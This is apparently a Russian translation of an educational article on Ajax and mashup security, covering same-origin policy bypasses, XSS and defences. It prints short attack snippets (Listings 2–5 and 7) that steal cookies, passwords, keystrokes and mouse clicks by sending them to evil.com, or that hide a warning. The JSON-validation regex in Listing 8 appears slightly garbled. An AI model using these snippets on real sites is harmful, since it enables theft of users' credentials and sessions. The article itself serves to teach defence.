Устранение угроз безопасности Ajax-приложений

Фредерик Де Кеукекларе, Майкл Стайнер, Наохико Урамото

Технология Asynchronous JavaScript + XML (Ajax), являющаяся ключевой технологией в Web 2.0, позволяет отделить взаимодействие пользователя с Web-страницами от взаимодействия Web-браузера с сервером. В частности, Ajax является основой mashup-приложений, которые интегрируют содержимое или сервисы нескольких сайтов в один пользовательский интерфейс. Однако Ajax и технология mashup дают ход новым типам угроз, связанных с их динамической и мультидоменной природой. Познакомьтесь с этими (связанными с Ajax) угрозами и передовым опытом их устранения.

Ajax основан на технологиях Dynamic HTML (DHTML), в том числе:

  • JavaScript - язык сценариев, повсеместно используемый в выполняющихся на стороне клиента Web-приложениях.
  • Document Object Model (DOM) - стандартная объектная модель для представления HTML- или XML-документов. Большинство современных браузеров поддерживает DOM и позволяет JavaScript-коду читать и изменять HTML-содержимое динамически.
  • Cascading Style Sheets (CSS) - язык стилевого оформления, используемый для описания представления HTML-документов. JavaScript может изменять таблицу стилей во время исполнения, динамически обновляя внешний вид Web-страницы.

В Ajax JavaScript-код на стороне клиента динамически обновляет вид Web-страницы, изменяя дерево объектов DOM и таблицу стилей. Кроме того, асинхронное взаимодействие, реализуемое следующими технологиями, позволяет динамически обновлять данные, не перезагружая всю Web-страницу:

  • XMLHttpRequest - это API, позволяющий JavaScript-коду на стороне клиента подключаться по HTTP к удаленным серверам и обмениваться данными, такими как обычный текст, XML или JavaScript Serialized Object Notation (JSON).
  • JSON - это облегченный, независимый от языка формат обмена данными, предложенный в Request for Comments (RFC) 4627. Он основан на подмножестве языка ECMAScript (что делает его частью языка JavaScript) и определяет небольшой набор правил форматирования для создания переносимого представления структурированных данных.

Обратите внимание на то, что существуют другие широко применяемые в Ajax-приложениях альтернативы JSON, такие как XML и неформатированный текст. Здесь мы выбрали для обсуждения JSON, поскольку он некоторым образом влияет на систему защиты, исследуемую в данной статье.

Освоение политики единства происхождения

Когда содержимое из нескольких источников каким-либо образом объединяется в одно приложение, эти источники могут иметь различные уровни доверия, либо необязательно доверяют друг другу. Естественным требованием является изолирование содержимого различных источников для минимизации их взаимного влияния.

Политика единства происхождения (same-origin policy) является частью механизма защиты современных браузеров, которая изолирует приходящие из различных источников Web-приложения, предполагая, что домены представляют источники. То есть, если приложения в нескольких окнах или фреймах загружены с разных серверов, они не могут иметь доступ к данным и сценариям друг друга. Обратите внимание на то, что политика единства происхождения применима только к HTML-документам. JavaScript-файлы, импортированные в HTML-документ тегами <script src="..." >, считаются частью того же источника, что и HTML-документ. Эта политика реализована во всех широко используемых браузерах.

В контексте XMLHttpRequest политика единства происхождения предназначена для управления взаимодействием приложения с удаленными серверами. Однако эта политика имеет лишь ограниченное влияние на приложения Web 2.0 по нескольким причинам:

  • Обойти политику единства происхождения можно многими способами: Позже в данной статье мы продемонстрируем некоторые из них.
  • Главной особенностью приложений Web 2.0 является участие пользователей в формировании содержимого: содержимое обычно предоставляется не доверенным источником, а, чаще всего, анонимными пользователями через блоги, wiki и т.д. Следовательно, содержимое, полученное от одного и того же сервера, может на самом деле иметь разные источники.
  • Браузеры реализуют политику единства происхождения путем проверки имени домена сервера как строкового литерала: например, http://www.abc.com/ и http://12.34.56.78/ считаются разными доменами, даже если IP-адрес www.abc.com в действительности равен 12.34.56.78. Кроме того, игнорируется любой путь в URL. Например, http://www.abc.com/~alice идентифицируется как тот же источник, что и http://www.abc.com/~malroy, т.е. не принимается во внимание тот факт, что оба каталога, возможно, принадлежат разным пользователям.
  • Большинство Web-браузеров разрешает Web-приложению сокращать определение домена до супер-домена самого приложения: например, если приложение загружено с www.abc.com, приложение может переопределить свойство document.domain на abc.com или просто com (в Firefox). Большинство браузеров последних версий разрешает доступ лишь к объектам window между окнами или фреймами, которые переопределили свое свойство document.domain в то же самое значение. Однако некоторые старые версии браузеров позволяют выполнять XMLHttpRequest-соединения с доменом, указанным в свойстве document.domain.
  • Даже если Web-сервер находится в доверенном домене, он может не быть источником содержимого, особенно в контексте Web 2.0: например, корпоративный портал, сервер Web-почты, или wiki могут быть доверенными, но содержимое, размещенное в них, может включать данные от потенциально подозрительных третьих сторон, являясь целью XSS-атак (cross-site scripting - межсайтовые сценарии), которые мы опишем позже. Следовательно, домены серверов не гарантируют надежности содержимого.

Обход политики единства происхождения: JSON и динамический тег script

Поскольку JSON является просто обычным текстом с простой структурой, использующей скобки, обмениваться JSON-сообщением можно по многим каналам. Из-за политики единства происхождения вы не можете использовать XMLHttpRequest при взаимодействии с внешними серверами. JSON with Padding (JSONP) - это способ обойти эту политику, используя JSON в сочетании с тегом <script>, как показано в листинге 1.

Листинг 1. Пример JSON

                
<script type="text/javascript"
  src="http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary" />
	

Когда JavaScript-код динамически вставляет тег <script>, браузер обращается по URL, указанному в атрибуте src. Это приводит к передаче информации в строке запроса к серверу. В листинге 1 в качестве пар ключ-значение передаются параметры username и reservation. Кроме того, строка запроса содержит выходной формат, запрашиваемый у сервера, и имя функции обратного вызова (т.е. showItinerary). При загрузке тега <script> выполняется функция обратного вызова, а возвращенная с сервера информация передается через ее аргументы.

Обход политики единства происхождения: Ajax-прокси

Ajax-прокси - это прокси-сервер уровня приложения, являющийся посредником при обмене HTTP-запросами и ответами между Web-браузерами и серверами. Ajax-прокси позволяют Web-браузерам обходить политику единства происхождения и, таким образом, обращаться к сторонним серверам, используя XMLHttpRequest. Здесь возможны два подхода:

  • Клиентское Web-приложение знает URL третьей стороны и передает его в качестве параметра запроса в HTTP-запросе к Ajax-прокси. Прокси затем направляет запрос на www.remoteservice.com. Обратите внимание, что вы можете скрыть использование прокси-сервера в реализации Ajax-библиотеки, используемой разработчиком Web-приложения. Для разработчика Web-приложения это может выглядеть как полное отсутствие политики единства происхождения.
  • Клиентское Web-приложение не знает URL третьей стороны и пытается обратиться к ресурсам на Ajax прокси-сервере через HTTP. Согласно предопределенному правилу кодирования, Ajax-прокси транслирует запрошенный URL в URL стороннего сервера и извлекает содержимое от имени клиента. В этом случае разработчику Web-приложения кажется, что он взаимодействует с прокси-сервером напрямую.

Обход политики единства происхождения: Greasemonkey

Greasemonkey - это расширение Firefox, позволяющее пользователям изменять стили и содержимое Web-страниц динамически, "на лету". Пользователи Greasemonkey могут связать файлы пользовательского сценария с набором URL. Эти сценарии выполняются при загрузке страницы из набора URL. Greasemonkey предоставляет API для пользовательских сценариев с дополнительными правами (по сравнению с правами сценариев, выполняющихся в "песочнице" (sandbox) браузера).

Одним из этих API является GM_XMLHttpRequest, который, в свою очередь, является, в сущности, объектом XMLHttpRequest без политики единства происхождения. Пользовательский сценарий может переопределить встроенный в браузер объект XMLHttpRequest объектом GM_XMLHttpRequest для получения прав XMLHttpRequest на выполнение межсайтового доступа.

Использование GM_XMLHttpRequest ограничено только средствами соглашения с пользователем. То есть, Greasemonkey требует лишь подтверждения пользователя при назначении нового пользовательского сценария конкретному набору URL. Однако не трудно представить, что некоторые пользователи могут быть обмануты, выполнив подтверждение, не осознавая его последствий.

Исследование сценариев атак

Не только разработчики обходят политику единства происхождения и открывают возможности для атаки злоумышленникам, но и текущие приложения также становятся уязвимыми к атакам при включении вредного кода в Web-приложения. К сожалению, вредный код может найти свой путь в Web-приложения различными способами. Мы кратко обсудим эти возможные пути, значение которых возрастает в контексте Web 2.0.

Межсайтовые сценарии (XSS)

XSS - это типичная атака, в которой злоумышленник внедряет вредоносный код в обычный нормальный сайт. Двумя основными XSS-атаками являются:

  • Reflected XSS (Отраженный XSS)
  • Stored XSS (Сохраненный XSS)

Атака с отраженным XSS использует уязвимые Web-приложения, отображающие входные параметры обратно в браузер, не проверяя их на наличие активного содержимого. Обычно взломщик завлекает жертвы для перехода по URL, используя код, приведенный в листинге 2.

Листинг 2. Пример URL для отраженного XSS

                	
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie=" 
+ document.cookie; </script>
	

Предположим, что на trusted.com размещена функция поиска, которая возвращает результаты поиска вместе с введенными ключевыми словами. Если поисковое приложение не фильтрует в URL специальные символы [например, символы меньше чем (<) и больше чем (>)], содержимое тега <script> будет также вставляться в Web-страницу пользователя, и в результате мы будем передавать куки документа удаленному серверу evil.com.

Сохраненная XSS-атака становится более важной в связи с широким распространением Web 2.0. Основой Web 2.0 является совместный доступ, взаимодействие и совместная работа, поэтому у потенциальных злоумышленников есть больше шансов увидеть вводимую другими пользователями (посредством публичных сетевых сервисов (social network services - SNS), wiki или блогов) информацию.

В любом случае проверка и санитарная обработка вводимых значений является основой защиты от XSS-атак. Обычно Web-серверы удаляют сценарии из введенной пользователем информации, но часто злоумышленники для обхода этих фильтров используют уязвимости, что приводит к масштабным атакам, таким как черви (worms) Yamanner или MySpace.

Mashup-приложения

Mashup-приложение является Web-приложением, комбинирующим содержимое и сервисы из нескольких источников в один интегрированный пользовательский интерфейс. Типичное mashup-приложение представляет собой одно приложение, выполняющееся на стороне клиента, то есть различные части mashup-приложения могут совместно использовать информацию и взаимодействовать посредством нескольких ресурсов браузера, таких как дерево объектов DOM или свойства окна браузера. Когда какая-то часть mashup-приложения пишется со злым умыслом (или была подделана), возможно внедрение в приложение вредного кода и, как следствие, разные типы атак (аналогичных XSS), включая похищение важной пользовательской информации.

Эффект атаки

Теперь, когда вы знаете, как злоумышленники вводят свой код в приложения, рассмотрим последствия некоторых типичных атак.

Кража куки или паролей

Самой прямой выгодой для злоумышленника является получения важной пользовательской информации, такой как пароли или куки. Поскольку внедренные сценарии могут обращаться к любой части дерева объектов DOM, они в состоянии, помимо прочего, похищать пароли из текстовых полей форм регистрации. Например, в листинге 3 приведен код, похищающий информацию и передающий ее на сервер злоумышленника.

Листинг 3. Пример атаки: Кража пароля из текстового поля

                	
function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;

В этом примере взломщик, прежде чем получить данные пользователя, должен подождать, пока тот не нажмет кнопку submit. Ajax даже облегчает работу взломщика, поскольку позволяет ему передать произвольную информацию на удаленные сервера, не ожидая явных действий пользователя, таких как нажатие кнопки или ссылки. Подобный тип трафика обычно идентифицировался бы как подозрительное поведение, но благодаря асинхронной природе Ajax-приложений этот трафик не обнаруживается.

Используя аналогичный подход, взломщик может также похитить куки документа ответственных Web-приложений (например, интерактивных банковских приложений). Куки документа дают возможность взломщику внедриться в сессию или войти в систему с похищенными полномочиями.

Обратим внимание на то, что Microsoft Internet Explorer версии 6 и выше поддерживает HttpOnly-куки, что не разрешает доступ к куки документа сценариям на стороне клиента. Однако, поскольку большинство Web-приложений не может полагаться на реализацию браузера, это не улучшает ситуацию.

Похищение событий клавиатуры с помощью клавиатурного регистратора

В листинге 4 приведен простой пример клавиатурного регистратора, похищающего события клавиатуры на Web-странице и передающего их на удаленный сервер. Это позволяет взломщику похитить любые данные, введенные пользователем; например, если пользователь использует сервис Web-почты, клавиатурный регистратор будет записывать и передавать весь введенный текст взломщику. Он может затем проанализировать записанные данные для извлечения конфиденциальной информации (например, пароли и конфиденциальную переписку).

Листинг 4. Пример атаки: Клавиатурный регистратор

                	
function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

Похищение событий клавиатуры с помощью перехватчика событий мышки

Программные клавиатуры становятся типичным техническим приемом для защиты важной вводимой информации от атак с использованием клавиатурного регистратора, например, PIN-кода для интерактивных банковских сервисов. Однако перехватчики (sniffers) событий мышки могут использовать технологии, аналогичные клавиатурным регистраторам. Похищая координаты X и Y событий мышки, можно определить, какие клавиши были нажаты. В листинге 5 продемонстрирован пример перехватчика событий мышки.

Листинг 5. Пример атаки: Перехватчик событий мышки

                		
function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);

Вставка неправильной информации

Используя DOM-интерфейс, взломщик может изменить любую информацию в дереве объектов DOM. Например, при выполнении пользователем интерактивного перевода денег существует возможность изменить номер счета назначения платежа на принадлежащий взломщику. В результате переведенные деньги поступят на счет злоумышленника.

В другом типе атаки взломщик может изменить таблицу стилей для скрытия информации от пользователей. Предположим, например, что Web-страница содержит предупреждающее сообщение, показанное в листинге 6.

Листинг 6. Предупреждение

                		
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to 
potentially malicious Web pages, so be careful. </div>
...
	

Взломщик может изменить таблицу стилей для скрытия предупреждения. Например, в листинге 7 приведен JavaScript-код, меняющий стиль предупреждения и делающий его невидимым на белом фоне.

Листинг 7. Пример атаки: Скрытие предупреждений

                		
var e = document.getElementById("warning");
e.style.color= "white";
	

Рекомендуемые действия

Теперь, когда у вас есть базовые знания о том, как могут быть реализованы атаки и какими могут быть их последствия, давайте кратко рассмотрим некоторые технические приемы, которые можно применить для улучшения защищенности Ajax-приложений.

Добавление проверки вводимых значений

Как показали приведенные примеры, большинство атак, внедряя вредные сценарии, использует уязвимости на стороне сервера. Следовательно, проверка на корректность вводимой информации является первым шагом для защиты Web-приложений. Проверка ввода и очистка отсеивают все активное или вредное содержимое ненадежных данных.

Два типа проверки введенных данных:

  • Blacklisting (ведение черного списка): В этом подходе из введенных данных отфильтровываются все символы, перечисленные в черном списке. Самым проблематичным в данном подходе является гарантирование наличия в черном списке всех опасных символов. Поскольку невозможно предвидеть всевозможные комбинации данных, ведение черного списка часто не выполняет проверку корректно.
  • Whitelisting (ведение белого списка): В этом альтернативном подходе перечисляются все разрешенные символы и из вводимых данных удаляются все остальные. Проблема данного подхода состоит в том, как добиться минимальной длины списка, обеспечив в то же время достаточную гибкость для ввода необходимых Web-приложению данных.

Нельзя считать ведение черного или белого списков надежным решением. Однако ведение белого списка обычно считается более защищенным вариантом. Следовательно, рекомендуется использовать ведение белого списка для очистки потенциально опасных данных.

Еще одним способом повысить защищенность является модификация (escaping) специальных символов [например, изменение символа "меньше чем" (<) на "<lt;"] в строке, передаваемой и отображаемой в браузерах. Некоторые языки программирования предоставляют полезные встроенные функции для модификации специальных символов.

Использование инструментальных средств проверки уязвимости

Многие Web-приложения уязвимы из-за похожих ошибок программирования. Эксперты по защите разработали инструментальные средства для обнаружения этих небезопасных приемов программирования. Такие средства, называемые средствами проверки уязвимости, обнаруживают возможные уязвимости заблаговременно. Одной из наиболее типичных уязвимостей, обнаруживаемых этими инструментальными средствами, является ситуация, когда программисты забывают вызвать процедуру очистки потенциально опасных введенных данных.

Не генерируйте и не выполняйте код динамически

В JavaScript-программе можно использовать несколько способов динамического генерирования кода. Одной из самых известных функций является функция eval(), которая позволяет выполнять произвольную строку как JavaScript-код. Однако неосторожное применение этой функции очень опасно. Избегайте использования динамически сгенерированного кода, пока это не будет абсолютно необходимо. К сожалению, некоторые широко распространенные JavaScript-библиотеки внутренне используют функцию eval().

Безопасное использование JSON

Поскольку JSON основан на подмножестве JavaScript, он является содержимым сценария, который потенциально может содержать опасный код. Однако JSON - это безопасное подмножество JavaScript, в котором исключены присвоения и активизация. Следовательно, многие JavaScript-библиотеки используют функцию eval() просто для преобразования JSON в JavaScript-объект. Используя данную ситуацию, взломщики передают в эти библиотеки искаженные JSON-объекты для выполнения функцией eval() своего опасного кода. Для безопасного использования JSON можно применить несколько подходов. Первым из них является применение регулярных выражений, определенных в RFC 4627, чтобы гарантировать отсутствие в JSON-данных активных фрагментов. В листинге 8 продемонстрировано, как проверить JSON-строку с помощью регулярного выражения.

Листинг 8. Проверка JSON-строки с использованием регулярного выражения

                
	var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
    text.replace(/"(\\./[^"\\])*"/g, ' '))) &&
    eval('(' + text + ')');
	

Еще более надежной альтернативой является использование JSON-анализатора для синтаксического анализа JSON-данных. Поскольку грамматика JSON довольно проста, легко можно реализовать такой анализатор без существенных потерь для производительности.

Использование <iframe> при интеграции подозрительного содержимого

Вы можете воспользоваться политикой единства происхождения для затруднения получения злоумышленниками доступа ко всему дереву объектов DOM. При загрузке данных из различных доменов в <iframe> предоставьте этим данным свой собственный контекст выполнения JavaScript и дерево объектов DOM. Это предотвратит похищение взломщиком информации с главной страницы. Хорошей практикой является как можно более частое использование <iframe> для ограничения ненадежного внешнего содержимого.

Заключение

В данной статье мы рассмотрели различные способы обхода политики единства происхождения в приложениях Web 2.0. Мы также продемонстрировали в этой связи новые направления атак на Web-приложения. Мы обсудили обычные типы атак и результаты, которых могут добиться взломщики. Наконец, мы завершили статью коротким разделом передовых методик устранения возможностей проведения некоторых наиболее типичных атак.


Страница сайта http://test.interface.ru
Оригинал находится по адресу http://test.interface.ru/home.asp?artId=7245